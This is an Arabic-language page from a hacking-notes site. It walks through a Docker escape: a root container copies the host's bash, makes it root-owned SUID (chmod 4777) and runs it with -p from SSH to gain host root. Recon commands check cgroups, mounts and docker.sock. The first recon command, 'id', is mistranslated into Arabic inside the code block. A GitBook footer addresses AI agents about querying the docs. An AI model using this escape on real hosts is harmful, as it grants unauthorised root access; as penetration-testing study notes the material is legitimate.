> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).

# تعديل أذونات Docker SUID - تصعيد امتيازات لينكس

## ما هو

تستغل مسارات الهروب من Docker سوء تهيئة الحاوية، أو موارد المضيف المُركّبة، أو بيانات الاعتماد الافتراضية، أو كلمات المرور المُعاد استخدامها، أو الصلاحيات المفرطة للحاوية. الهدف هو الانتقال من سياق الحاوية إلى وصول على مستوى المضيف. تركز هذه الصفحة تحديدًا على **الهروب من Docker (التلاعب بصلاحيات SUID)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
المعرّف
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## أمثلة

## Bash SUID من Docker

بما أننا داخل حاوية Docker بصلاحيات root، سننسخ الملف الثنائي bash من المضيف العادي للجهاز إلى الدليل الرئيسي لـ `أوغستوس`:

```
cp /bin/bash .
```

<figure><img src="/files/32487a2d432810618fb2e89628087e5d3650c2ab" alt="" width="556"><figcaption></figcaption></figure>

من جذر Docker، سنمنح مجموعة root لهذا الملف bash وأذونات SUID ليعمل كجذر:

```bash
chown root:root bash
chmod 4777 bash
```

نعود إلى SSH ونرى:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/1a4e5b67462fd7690ca3b6a1178aba51ca7ef94c" alt=""><figcaption></figcaption></figure>

`./bash -p`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
